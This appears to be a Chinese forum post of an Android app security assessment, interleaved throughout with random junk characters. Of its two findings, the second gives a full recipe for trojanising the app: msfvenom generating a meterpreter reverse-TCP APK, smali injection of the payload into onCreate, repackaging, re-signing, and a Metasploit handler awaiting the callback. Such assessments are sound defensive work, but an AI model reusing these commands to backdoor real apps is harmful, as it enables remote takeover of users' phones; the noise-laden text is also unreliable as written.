$ g5 }% d2 U4 G7 K2 E+ M, | + ~- ~5 p5 Y& ^6 k' ~) d

6 q0 [) f2 I* a 8 I8 y3 I% R: y) O( o' h( x) u: L# ^   1 H6 z$ D1 r* _1 d& Q0 x & Y) ]2 P9 J! _, E" A4 b7 f" }

- ]' g) o; t: ~- } # A# X1 O% ` b# \

: N; g k) n7 y- p' n$ g5 A; c# G $ \+ u/ q3 X5 D% I 2 检测结果                    # ~- X3 H$ V) \4 R; m4 I5 a + J" v3 ]# t* R5 I' }' }

3 T$ `/ f0 |$ F1 r0 w' ] 4 ^7 S m8 o, b& S0 U& y5 O/ G! f

}! u; d. _: c1 e( M( B* D3 g5 C ! @* F3 g# ]$ |1 ~ 2.1 某某某 q8 U' [: J" n: m% Y9 a# x ' v' ^: c7 h% O( N" U4 G0 @4 w

; ?+ q9 H" U; _+ ?0 F3 [3 A8 ^ : ~4 x3 f4 @4 f4 y2 y

8 f! _' E, M# D5 F2 ]* R0 i. x 7 x' g8 y$ D" W& N8 ~ 2.1.1检测目标 / ]& ]- q. ?' X3 \* i & u3 r/ Y' [! z

" |6 O$ s6 A% B: p1 ]3 t8 N9 |' k. B8 q6 v k

5 d- N1 d; h( e4 P9 D8 U9 u( f1 h 1 J- A4 q& s* c, u# f 目标地址: 某某某某某某APP * G" D$ P, |) [. o, b/ V) L! J) ~/ t; T8 t) x6 K

; L/ i% x& ~+ r7 q4 U " Z( W7 a: H! o$ w b

' n0 Q8 N" F2 D; p9 h0 P! w+ I' x, t* ~ 9 a3 R/ A8 j& G- ^9 f( F( k 2.1.2检测结果 2 D7 J: K2 b; B, K - H4 u+ |& o/ N6 Z: h

* @% u; U& B& R 1 e/ `, p2 Q; L9 Y) `+ I4 o) A" K

7 V$ d" @' E# C+ t. a3 y p) h3 u* G 2.1.2.1 5 } \- H2 D! \: z0 o6 j 3 d+ a5 y. Z7 p# ~

4 T3 @& F* k1 p" h. G) [- K + s1 x" u( a2 V* D2 r- s8 f

* F/ c+ |& R9 V + c# ~ O0 T5 R: e2 K1 y* ? 漏洞链接地址:某某某某某某APP b6 I N. R. \( ~- z " _7 G& |6 z( e0 v6 j

6 T( q1 {6 D) @2 S W& ~! ~& H & r' I' z7 }; Y

; j% |* Y3 T3 F7 K+ N- o7 s ; i, b- \; E4 v6 |8 d" [) R   ' _4 r0 [" I- A" X- |& c( [9 j- v8 R5 }0 K8 m' ^8 t+ ^' A

8 b+ I( j0 Z$ U) d+ B6 a! ?* I1 F' H. @

. q2 E' Z+ T. \- c& {' m 6 d) d) V5 A r! r$ F. f$ F$ D4 I 漏洞分析及取证: " _: X2 n3 p4 V1 b; v) ~% V % A9 A6 w9 x' Q! l2 b1 Q

8 U* [# Z# D3 p0 v5 U, x7 V) q3 V " r" _; `6 k7 d; r- f% P6 N8 j

: }- @) n2 z9 {7 j9 w0 _ % \4 o9 _. ~8 x' D# Z/ `" |6 q                  通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 3 G; u# }9 o: W 8 K- Y s" H& C2 J

N# K2 C6 x: ^# V2 ]. C0 h0 x& M# p0 h1 [4 o s+ n0 X5 I

?+ w7 f. F* r0 c$ ]) l! b7 ^: y# ^' n& d9 \1 B1 g8 l      i) E9 {5 p8 i9 @: ~: s ! _+ J! e, V) M' _3 l

' a# i V/ y' ^8 L2 p J7 K. B$ [ 4 X9 N8 Z7 D$ F8 G+ d0 f- K

2 V: w* y' o9 b/ Z( E# T 7 V+ V1 R( F6 g- n4 s                       0 A9 H2 @5 H& O) a* _# z' K# {, }# f

, `7 x! C+ j2 O- @ ; v% c8 K- n; R. g: f; f7 _

8 }' p8 f* j; G % W( i& J, e8 \# Y - L+ B9 W1 o! ]+ n3 m) h g7 n3 D0 K& k+ m: \

* l* ^( h5 D: e$ [0 _ V8 n- \' I6 \

; D, Q. z0 e3 V+ |% W* L0 U+ J ! v! W& ~$ e$ a5 B+ {; E" u% q; d 2 A" J; `. v' v0 {, Z" l ) a L7 [. a$ q# z

, i- c: L; i* F7 @ 1 ]$ q7 B; |% K$ a1 I

2 o. S- u$ G. p/ w& q6 L 3 L2 [! t2 j2 L- X - _1 ]' C4 \8 A+ I# e2 Q4 w " t: T$ e& M+ ?

9 r) O3 |. G9 J" h$ ^( F# R( ?' y5 s n# u1 ~

- r e' n+ x: n* v1 D, p& _ ) P, h3 z7 S E1 B 漏洞危害:高 $ E* d. l, b5 r+ x6 a+ e5 n s 9 v+ r6 \6 O2 P

7 |* l% P+ t1 @9 R6 n s3 h ! V. N8 y, s4 e6 L/ D* ~; o8 I
+ K* y9 P+ q( }0 Q4 ~2 F : \7 x" X" k1 x( m# @6 E / a& `& \, U1 q! \7 m! u! [3 D h1 \/ l/ M9 V9 {5 z" L; v" f/ n3 E# h6 G2 A. P& b9 j- q7 ?0 o: Q0 F8 j$ o; j1 d. B" E2 y* l1 z5 O5 I; n' w" k7 o$ t9 T( z# H$ ^0 [2 t/ W6 K( R4 x2 \* R9 ]0 m( @ T/ e {0 w; L% O" A% `7 u( X/ U: k2 j! w+ s3 B. j Z' Z+ D& d8 d1 U, h1 Q. g% |* b; R" j8 l% k, F6 Y3 g, O) @' `9 o" h% p: f5 ]% f o- p+ M* [6 p r8 M, ]5 l2 l5 I6 x( F/ e% Z- o3 L8 f% ^3 E6 L' d+ t1 X: X) K8 V7 m$ T, f- K& Z. d7 v f/ N, v' s( j- h# }4 p9 K: i# \0 ~9 a( V2 a/ F% m1 r g- O J, k- R; A6 m! X+ ~/ C4 o3 V- z6 v" j' ?& J# h7 [) Q7 ~2 u9 y+ D. ?. u8 P! j" S/ o9 j& U" [& D% J' C' |7 m: r+ W
+ M- w9 S8 e" R$ W# k1 q/ y7 J6 X! @

' Z+ Q; a! l! i$ G & F' I6 n) d' W5 G4 T2 c n# ]. j 严重程度 ) \$ s3 |" o) h3 a8 ?9 R, {; O( c& ^' v$ [2 t6 y0 u. m8 A* [

) h z% Z3 d5 B9 W# ^' y7 v4 e" J0 S/ H8 I z9 Z r$ w8 E
2 v2 I) s& w+ {+ D ; `- V" x/ l& D% z% A3 i$ n% V6 O

2 k6 b/ `/ R# L) H8 g * u( j/ O4 P3 M d, N5 l, a 高 + Z9 \" x8 P# k ! X3 Q4 G% w* s7 V7 ^ |% f

& Z- K* W" K* q0 f) D ! J1 V$ \- v; T9 s& `1 f, y; G% g
% ^4 m! u6 s5 e2 ~! d# f& c: u+ Q/ d' P# P" H) W* w

. q- o! P2 x* L, F# n t: n. I # F5 M( W6 m6 a1 t! }( H* T ■ 2 A6 ?: P: [: X) [. \& @2 B. O+ G/ n

- v ~! }% ]4 q6 R0 U+ R; W$ g) i: J1 s) D5 s, X9 T
+ t0 ]) F' O7 Z" H* c - g4 L8 `8 i6 P

3 U/ b s& M- Z5 P : ]) J$ j2 W( k! I 中 : k5 X2 Y h+ l1 N$ s ) z3 d( D9 |$ \, e* M( H

' j# u1 A; F, g- v) c$ F* y6 F8 o# V! c
: N c: {' Z0 f$ O5 `2 A3 T- f& F4 z8 r5 [7 I

* k g- b* v; D4 {! c# v2 D, H 7 E. K9 o, d" U7 V   6 @ y2 P& o( `* Y7 E# i" k- m9 X, I8 W# U; F: Y; g% A

% W) E |& q9 v 5 k. d J7 ]7 A: U5 b1 o; k7 ^. J
E; b; o* \9 l; h- C- F 3 y3 W% ~& f1 W1 Q$ Z

5 x5 g0 H( p! F+ _& F& R0 B+ ]1 |; z( @4 r8 |/ O 低 : ~2 a3 ?. C' b - A& z: }3 N! U, e

5 n" C/ {; O# U- p1 a ) k; @- b5 I1 e: {6 n
6 l# J) {6 _; M" C! v 4 e5 B( |6 Y6 z1 {4 Z7 f

" O7 ~$ w! e8 h" p$ D% ~ $ B# k1 S$ X& H, L0 ^   l) O8 B# Q. q5 Z& d" r/ |- I. [& {) C8 |2 @4 K; x' a

, N4 K4 z6 z" h0 {3 @0 P + J$ ~( x4 F, a& M; r8 [
6 @+ P' k+ _+ q! E) ^' U 7 i* `3 K! Y( L
+ M/ _ H/ }# d+ |3 b! G- {$ o) C6 {4 s4 p8 |8 {8 z7 ?% @

! K( ^# T- ~: v u+ y& ^$ s * n. H2 d. {( ^/ i: ~7 Q   ! O. Y' B& W! i: ? 1 K& H2 i6 P( Q" u& p2 w- [

L, |& p; ^* {6 X 0 l/ i v5 ]+ _: L0 [8 m

3 b& `' E5 }; H, {! W J, I: q0 e ?8 F 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 7 J1 b3 S/ w1 _- k # H8 m: { K* x% x

/ ^! w4 Z+ x4 r. r+ C3 ~5 L ! [/ e9 j* Z0 v$ C5 m* j

5 c( _$ c* @+ z4 U: B! |4 @3 x R/ n 7 J5 ~; c8 s v; v7 u           ) U- n3 J! X* c+ w6 x 1 _9 G& M: r5 r2 g3 P* L

) H- C* r# g3 l& w! e 9 r& Z4 E8 |* o' c

! o: \% c* |: g( b$ u3 d `. X; }% B* R   % r9 o; Z0 }! S! e! p , R9 G! O. L* L/ A; }5 N' v! ?0 e

$ m0 X3 y4 W3 q5 w! e9 W* o, I0 _ 1 y& x" [2 G5 Z9 ?

q$ z Z& f$ M8 q! ?; T, T3 V" o+ e& y3 s) I# P `# f 2.1.2.2 $ A& U- v0 J2 p x9 x. [) g' ]& N2 C& B/ R( e

% v3 B& q: \6 v& u$ Y3 Z/ p! ^1 ?" l , L' s3 ~# a1 S

- Y4 c- K1 C7 u& J) T! o 6 a3 ~4 b) l/ h7 W8 U( G 漏洞链接地址:某某某某某某APP 0 Z5 w* B0 j, n- c# H+ l # T/ R' v! P8 v% D

/ X4 P! {5 w' |% W5 @" F; U# V# `, H: e1 k

& c3 l+ y0 ]; d, \; r & w# l3 b' z% f6 [ 漏洞分析及取证: O0 S5 f. r; ?9 W5 O; A " W2 P# K6 A0 H6 ?

% C( b6 {1 `. H9 V# } 5 A8 W. R* N; N* `* m7 i& `! L. e' E

7 V1 j8 N0 R* L9 j" u. e2 Y1 U' ?. }" |                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: + S, V. I% Y9 `: C; |) X& f: f # f5 }2 p7 }4 y% ?4 z9 k& t$ B5 w

0 w4 [, ~- j/ S. D) a/ N/ d7 Y+ G M

# _ c6 ^/ h) A4 T ' g$ F& A2 n8 N2 k3 R8 s2 _4 L$ a 用Metasploit 生成木马 apk ( e8 \% {/ ~1 v( t! K3 s/ d& J2 y5 q5 T! F) R2 H6 y

; x4 L, B. B4 b* z- w5 G: ]( ^9 _) ]. l0 ?. W& j" m- y

" c0 c }* Q5 \: P# _5 q$ d) p8 y) I 9 D$ X$ ], ^/ T msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk # @- }" M2 m2 {+ F/ H; M/ N ; ]3 w3 W7 ? Z, [& e1 s5 H3 k7 }2 F

; O2 K1 f, c0 {' c& Y0 [8 y# q" ~1 @$ Z, {, ?% O- R2 e+ ?. F

) {0 w9 K: ^9 j0 e2 j: M / q( P5 l. K9 U4 A8 A+ P0 X 反编译目标apk和木马apk : r/ R7 W! i, A' n" j8 e# k) b9 `. r* C" |) K* F& _

# w& W3 l c$ p! W5 m9 `% ?, B) E: R3 Y2 u' q& \

k. E7 t, l8 c% k# E1 i( e- Z- `$ D7 D& I, `- F6 f apktool d target.apk
% p9 l0 T' Q) ]3 t j. z. J& x/ u apktool d cockhorse.apk
* f" U, V3 N+ T8 e9 r 1 b$ N6 x- e( b6 ]5 H

* C3 \( m5 @7 a. U& O) t) a " h1 t$ d- m F! U* f4 C

0 J* v; a" M6 Z* y( V% f, G3 C . Q0 q" M, J7 @" y- p; G2 y, a2 F 木马 apk 注入目标 apk - A/ i$ G, B0 l) T% T& u# M" M, z- Z; }

2 _# ^, E0 U: h3 P+ @! ^9 k, ^* y ) T( ]4 a1 c9 ~

. W6 X- _/ C3 Q; S! V. e1 ~ # `9 H7 X* i+ c! ?, t7 v, d 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
+ i/ }. `/ \2 Q # L$ K/ w9 a4 G; J2 j invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
8 x) q) _' _) t* _0 u ; G) L5 Q, z+ ^. G1 v- u* X' F

% _& M! T' F2 d* i6 f# Z" O+ n: h- e- M$ j

4 b9 e! g( r y6 T0 B1 {8 {: b4 q; [5 s4 l+ _# q 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 `6 f! `- C; S- E # H" N% V8 ~5 c6 Z( `2 W) K$ [

' [) S1 h f S% S( H- W. }0 u % c5 @7 u6 D7 o- I

) b6 n5 Q3 @5 Q" b* a. t # P; R1 r4 u7 @ 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 7 v9 |$ J, e1 P+ E) j8 m# S1 u' p0 [ & O# w; w Q+ y: X7 i+ b

$ L! p* v" x! h 3 j$ b5 u5 v) p4 |, B

6 I: O6 h1 p {# ]5 P* m/ \ 1 m! i* Y( P: H0 [7 F4 X! s% @ 回编译生成最终 apk $ e# C- ], R4 d* t" @ 0 c6 p, w3 x/ Q, _' M

4 Z1 t* ^0 r7 G" L$ _( d , t3 G2 F9 b" J- b, c3 J

) j; t' Z6 `4 r! \& f: ]5 S 3 Q- B( _1 w, }" f7 }* F 重新打包 . n9 k; @- y% A6 P* o! Z1 i* ~9 e4 m. [5 h# Y( G+ [) Y

3 H( `# G% q! P9 N1 l4 [& }1 v " @8 `. c+ Z7 ]' h* Z% g

% X/ ]/ P9 w1 b' N$ z6 L ?* G * C ?1 J8 N2 Z9 h3 O+ o4 X2 g apktool b -o repackage.apk target_app_floder 1 a! `9 ~/ f( z$ w% ?$ c. C; C8 J3 C0 V h" x) j. `6 n

: |5 ]5 a; t7 }5 ^( ?0 o( S- Q/ S# t$ D* i& U" M

( r% M3 {0 ?" u . h8 z9 {3 i7 Q 创建签名文件,有的话可忽略此步骤 8 @5 F( A9 j4 u# U1 q$ j6 [- G# r' `0 }* U) n# u# K Q

3 ^" y( s0 Y! A$ }1 |' f 3 W# Y- Z5 @% m0 I4 j

4 R% i/ I' m& e, w# h+ w5 l1 O - ^9 @0 s) K( X I7 a keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                3 g4 Q: c7 M$ o- R / R( ` B. C1 `2 h6 _) Y5 C

1 H8 D4 ]6 I" m% o8 c6 k6 @: v3 S 9 G0 O" t; F/ r, C

/ [4 K3 @$ U# `: F ' W# t- u7 O6 x8 U1 A* k 签名,以下任选其一 7 j' C% B' ?/ B8 Q) Z* I) G8 d1 G6 v, Q

3 Q: T( A3 G& r$ @2 y8 C7 m, ?* G/ w, F. ?/ Q& L- w

& E1 N i+ K% q! I( N + u! f& o# U2 n" u8 M jarsigner 方式 t) S+ u, Y9 J4 A$ N 4 p7 Z' y+ h2 c, Z5 m/ [* s

: |0 s9 n" }7 [ d $ G/ [9 N& Z* e0 Q( Y

) ~$ H2 g. k2 Y+ q# t. u# `4 i # E- Y u% [0 t7 z$ T0 y: f3 l jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 4 h0 X% j5 G- p c ~6 A* T5 i( R2 c& @

) t4 q/ W* P! d+ ~6 y% N' o - c1 W6 G6 B( O

/ l7 N+ x0 c" z/ O. E( c* k5 J- m5 F7 t0 m7 w" h apksigner 方式 " L* k" a+ Q" Q6 I+ q. F5 @/ w% O2 Z% u* U: n( y2 n! i

* I% R2 j: J! C' h" O5 a, \ , D+ H- t- J {' |. k

T/ k, y9 I {7 _7 e" N - Q5 `. m( o& b' ^ apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk ) l4 M6 G- ~2 R% L) {) m ( Y! q" [/ Y1 ^9 d% o) \

) T8 \0 F2 s3 V2 q, y9 z& l' H/ v$ r5 e1 `2 B

, I S: I; T0 Y$ S5 } - z- b/ r; V/ n" v7 c x+ l 如需要禁用 v2签名 添加选项--v2-signing-enabled false * n! m. z* U3 L. j 0 q8 ]+ O0 Q' K% T

9 W3 l! _9 a$ b3 i" x/ v4 v! l" J( T 3 p& @, ?( k* W: W4 a: B

: T W. V0 s/ P0 y4 H$ f 9 X o Z7 \' {$ T 验证,以下任选其一 6 F1 p8 g; [9 ~5 ^8 H 0 k* I0 E. ]( s0 a( f1 _( I

0 [$ |; f- v1 r( t! |7 Z8 X/ K9 H9 q

7 ]& H3 O; x" K% p 5 \1 ?, T n; N, E8 E) w jarsigner方式 & r0 ^) E9 }3 l. P; r) k8 m( P( B" y( V: N

0 l. h A% V; U4 I2 u0 }" S5 I 0 b4 f5 l) p+ [) i8 S. a3 K

/ M+ n4 ^9 x1 _/ P4 u8 u! i6 P 7 E% e# |% Q+ y% ~! R% u jarsigner -verify repackaged.apk / S7 s- j! d: Z2 X / O4 y& b6 g1 V) |/ J

' S' I- Y2 Q4 |8 }* Y z, }4 W / F8 H+ g) a9 i

* q; Q6 K {' B6 j8 z 5 \; t' O3 d& K! X* b. } apksigner 方式 , X) _6 S5 B+ d% {2 S 6 s) M8 H% t/ d# l: j

( Q1 Y+ a0 f3 q: D4 E3 [ ! n) V4 s* \5 k" A) _+ G: m

: q( T( |4 C' i" W& K h: R ) e5 _- q" M, o8 u apksigner verify -v --print-certs repackaged.apk 5 ^" G* v9 s- O* _* W & Y& y# g: O- q9 M# X$ d7 A

$ V4 }3 ^5 j& h. [: W5 S: S# \7 p6 W2 j8 [

2 K: } S& D0 v$ [) m) | % }8 J+ z5 q1 p& S: b h* ]" L# ^ keytool方式 ' [, _) K: ?1 n: E3 b: t& \( H" f) ~/ j# A/ P7 j

5 J4 M7 u# C5 K # E3 [) t1 j8 ~8 r, h; W8 F

& d3 i1 Y# k' n; ~% A0 h 8 P# Y# S* m3 ^& Q3 x keytool -printcert -jarfile repackaged.apk & S7 Y1 H; c$ z+ e F$ y( J" w4 u/ {4 V* B

7 |2 z- y w) e# O" ~! ~ 1 x: u# k$ h8 M' N7 P

0 m0 }- t0 h8 h, o 5 D9 p, u" ~7 Q7 O3 E4 x 对齐 9 C9 U7 z% x8 O. l' g J2 e6 a# U: v" I+ F; B" [

( Z& E6 P/ [% [, M* z9 h* r% Y1 J4 ~' R

" v, X! L% h; i+ T3 } $ B( U. n. [: w" B6 L0 u/ H 字节对齐优化 $ B% `8 v/ j3 _8 e) \- _; y3 O! s1 O( i8 v+ S5 V8 s

" ]4 v) i4 Q0 A% {/ N, z # w% Q# N& f* `" K3 B

* l/ q$ }" I6 \* k. t m: a. ]# H/ y zipalign -v 4 repackaged.apk final.apk , R% w# b3 _; k+ n 7 c* F% O4 \) K2 ~/ W

( [9 Z9 N& V% f; I/ I6 G - Y/ g+ ?5 ?' o! `( s

. U: N! e; Q5 k/ ?. n& ?; i* f: \! {: r E 检查是否对齐 u7 @% V" q! t; T# `4 w4 E/ S0 } 8 o0 ?; u; Q* n6 d% r3 Z2 c

2 e( n7 F4 d0 T# k4 i* _ E- I1 N: ]7 ? f1 J/ Z' U

9 K9 g! G# B& `& [, L 6 W, q ~) }5 `; r L) m% y zipalign -c -v 4 final.apk 2 E$ W+ G$ N7 T7 W: t ( M& d: _+ B$ X7 C- x+ u, w

2 O0 [6 b$ e; l: _2 |# {) e 4 ~+ ?# W, \% D6 B6 S

1 X4 _* L) L, R$ { % D4 ^% ?8 o4 h3 `/ | 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ' N& f1 Q# L0 _' r0 C/ F 9 {/ _; N& l+ c3 w! {' y* h. ?& ~

6 U# K* a" Q6 |2 s; v, m" ~ d/ z- ]6 n: D6 ~$ O

/ ~; O! F" J3 k$ o% y ) I0 f/ `7 f" A" Y3 B$ {4 R 启动Metasploit控制台,配置参数等待上线 ; [# o X+ s# }1 w5 \& w) Y 9 G! t, ?+ f5 B8 Q( W* U

v' q [. K% w5 P5 e* e. ? , E" G' H V: a2 m/ Q0 V( v% G0 Z

! J# y- k4 v# W k) {- x 1 G. c% E4 w) y2 t5 C+ h+ F 在终端依次输入如下命令 + t& r: _( o! j( L . A! M) h# I& k' P. y

! x- e& l$ ~: N! ^) G/ j; |+ v6 U5 D. X6 `) ]' j

: V' b4 J) l# A7 U % L6 C& T5 h8 I6 H( z7 o9 J msfconsole 5 l/ T( C6 M9 ?- p. W ' d3 t+ [/ N: S& j2 J

4 O( \6 o8 f* p+ Y/ p& R# Z 6 `8 a, s* Z# v) C2 g/ Y

2 O& S* U* a2 y$ [ ) I4 h1 [' [, a* o3 Q use exploit/multi/handler 3 }3 s" C4 t9 }& ?. i$ b! ^ ! {& ?/ Z: y! c* U1 E M: N! ^

4 k7 ]' p. P# |7 B B& Z; }1 H

4 |- v& M o7 @/ \ 9 _% ]/ n% \. s) f D2 w set PAYLOAD android/meterpreter/reverse_tcp ) K; S+ \# _1 ^* T7 } 8 v6 h+ v1 Q, `3 Q& `

6 f2 \" b3 `3 J* Y$ u# r; b6 i & U/ n' X5 r* d

/ W% m. @+ P; U% x% ~* s+ }4 G8 d- x \4 R* [0 d0 x- i3 Y0 s set LHOST 192.xxx.xx.xx / v, f* O# I+ }" {: h# {; U - r9 U& |# L* f/ Z- T

3 x- z5 X8 y u3 F4 u- W2 ?* m. x4 S( z7 N$ f' g8 X

5 R4 T r! P" P7 B & ^& M, Z+ y9 g) P set LPORT 4444 % i! d1 K# t1 l4 B/ ], J5 @; P1 o5 W+ G' `9 z

& A6 B5 T- {) E# v) ?; l; q 3 S2 r! ]6 _! a1 i. M0 \6 o

9 {$ Z( s: @. ?, x3 [; u& I+ [ # O/ u: q2 j1 d) D9 O exploit + T% q) G( r* W1 a0 K. {" u* J, ~* G! k* F

Z" P8 H/ P: Z3 C% [* s# N; Y' e5 o5 `+ A: E% ^. V

- _: T6 g+ z9 _( o: f# A1 y# o ' i6 u# T% x [0 p) O+ W/ M: ^" u 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               2 V/ ?+ x# K8 D% n8 Z4 @& Y+ ^ 2 n; e0 S- m; s4 `! o2 y

% ^( j5 W7 }" T) I0 P) ?! h. k! y, s4 s

0 L$ K4 }* n; s' x# M8 h @6 A + {- u. s& L' t2 a5 M. e( C# B 漏洞危害:中 . k. t" U: S* H+ g2 b+ R) h( o( v* y3 m 5 R4 Y$ X) c" g6 q( H7 ]! C# Z

2 c, G' H+ g# H, ^, @/ x8 c & A" n9 N+ K L
0 I' X; p/ H4 K+ ?) e " V( o: W5 K+ W& s! e& a # f7 ?& V! h u 7 r5 V! O" W3 O & I- s# _5 ^& ~/ H1 K# x. w& A& i. O- T: B+ H- l* s0 R+ `; G. t' G+ z( x J" \! d7 s9 t& y) H. H8 W( W' a8 v" n$ G7 ~. |; d6 W5 a" ?8 o* h8 |9 \: H6 W( I% I. u! M; P/ g% |' n. D5 n+ A+ B2 _% F$ b0 l9 o! ~! k/ r4 S2 a, E/ M* h7 @" E4 X, U$ [7 w! w2 V) X) r8 _5 Q' m# ?4 S7 @$ M4 x/ `; {0 {; I* C8 @( r( i/ w: C6 t! M* [" X, ~3 e! v2 F* [+ k9 D( e( K6 t; t9 c, C( Y+ Q `% o5 o, o( e0 e6 N3 ]& ^* R" G3 U) _/ b; E. ]3 @7 {6 N( D2 O j2 J$ A4 r' V9 C5 x( e C% ?' R8 s. o2 D/ P5 _8 c" x% s0 R9 b; o7 v# S7 ^( \; |' L2 J9 \* y. w0 R# i3 j* o4 `, V4 B% N& ?# s- J1 h( @5 P# P4 a" |# c/ p& \( M ]3 Q% d- q) |- j- f1 y
, I: O! _' n2 G w7 b! }6 }$ ~7 d+ U" i4 W% L" G

' p* M( Z0 }" W# x# O9 P7 R9 K" R# b7 n 严重程度 ; F$ m( X7 i! [' ^5 Y: \. v* \. ?3 Y5 i: e6 {

2 [% L. n& @5 ]( M+ e g8 S - R. b9 H8 G- J# ?; |6 i' a
# E$ D6 k e# r% T* F4 F0 M5 L; D6 H F/ ?) l! a/ F3 t/ r3 S( A* q5 V

$ ]: @( \2 G1 l$ b: u # [7 B* d8 l: { 高 0 `5 m! l# k# _+ W" ` % b2 ]. s! }8 b; Y* @

( I! S: g& w; d2 j' H C9 w3 y3 z3 ]. L" ]2 f
% d6 A" t8 q; G, x' h. z/ z# k4 S

- a, F, t$ [ }: D+ |! X. h( x: k 8 @ T+ J! p2 ?0 V! p ■ 2 ]4 t2 A2 Z2 v' w; V! v; P+ L & _4 b7 Z6 ]2 l1 N8 M8 e" [5 m

4 a) E' s$ p( ~. r5 `+ I# G2 B : U% W6 t- c) P' ]; J: r8 h
4 O4 C2 t X, O* A- Y) r& H3 u+ \, u0 G

' I' G5 k6 g: b2 |/ Y' Y* f ( v# U6 ^7 d- P) E1 i& p 中 # r" Q+ e4 {+ R1 p( E# |5 B, M$ n 8 r G( K2 ~+ {

' O" }+ b) i+ f : Z" f& [( a9 o5 h8 Y- j1 i
# l; ^* S1 N% F$ c- j e 8 P5 I1 w% a1 K ( K' q" M$ G' M' d$ A' ?5 g. s ( P* s* B, @" v

4 E) I& W$ k* ~ x " L' d& m1 U' [$ v1 E, |& i   1 c# U* N4 L! E! l* e* e: l8 ` ; [# ]- y7 V3 X7 b" h

r. ?% Z/ r: d- l/ i8 S ! r2 E- S# h7 c4 K+ k( A* T
* Z5 r; j7 g) ]& A/ D& P) q$ u ; b8 r7 ^& t5 {% b/ G

) z* }* [+ l9 E o& F* H# ]+ \3 C G3 |4 t2 Z. j2 [4 F 低 - T) Q( S8 c* P % n: w6 W* U. R* L, _. M

# w) Q7 z( Z5 `1 e 9 D" p8 P& t" P, i2 r7 m @
! G4 w! V+ T7 J/ `/ _; J6 A % I1 v* y. L! V; { ) H% m5 N8 a0 `% O7 D9 H- q. X& V. q6 v : A9 W/ O6 z5 @: B3 H5 ?

4 A9 v) U$ O& d' b/ a 3 i( F' {, C, P8 @- D, C" Q) s/ w   1 S% ?0 J( ]# ?( i4 |# z" K+ g8 ^7 d# P) \$ x

" S1 \# c: [9 F& |0 \' k. _3 X) N4 K7 s1 S: R& U
8 T8 m# m, V" I! i& f% E( R3 {% L 1 |, Y! B( m( e/ f1 H
/ s% v5 h: a' D4 r: t$ A 7 b3 z; R; r7 n" u

* p* I: H# i6 J * ^7 Q# x5 ?* p( ]   & Q8 y1 M" {9 @/ y y( P ! ]/ K( A( ]0 j/ o3 b

4 `* @" `1 m4 c. I6 F/ G7 ? U% E! U8 `/ b! n

$ R! u& O9 V% ~: \2 k5 }- E+ x3 Q 2 j9 M% j# T* A% Q6 O 修复方法: p& u' j" {! Z) a) P/ C- K9 e5 V( J* T" C$ o$ w

C' p) U7 O0 i8 u5 W/ @0 M) t5 p & n6 B- `& q; ]: ?

) d# y! L7 ?2 W5 _6 F. o* Q+ W$ n - D. X: d* D9 {4 a               1.在 APP 启动时应做签名校验防止二次打包。
6 R! d. t9 P/ b2 f+ D6 {( @7 W8 b# j 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 / E: ^- ^+ a# p" y) c , `: J- n" R) w! y' ]

( c! p+ h/ i! l- c) b, H) p8 D % o- q' A# u/ K4 I$ ~ & b5 p) c$ n) m9 n% M* D: ?9 T : O3 X( I5 t6 E7 j) N- W

% v4 R" \* @/ _% u , L) @$ C+ H6 W   0 [ w6 ^ w; C0 G( F v4 Y: a O; a, p4 x6 w4 U

, e9 e K- D1 f J% A! b+ X$ Q6 K( ~3 _ @, M0 s / d* Y7 K$ z9 K7 s 2 s) Y' J7 [" Q3 T

5 k7 ^5 h: \3 p2 y: [: B3 f! J- e ) V7 R& V1 u3 n5 H M+ z
1 J+ P: E- ^. J' `; r $ }6 P9 Z2 @$ U7 B8 _) a* V

* b2 y, m0 S1 H9 N! D! K - Z. p0 ^: x' @6 t) g* `- O$ }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表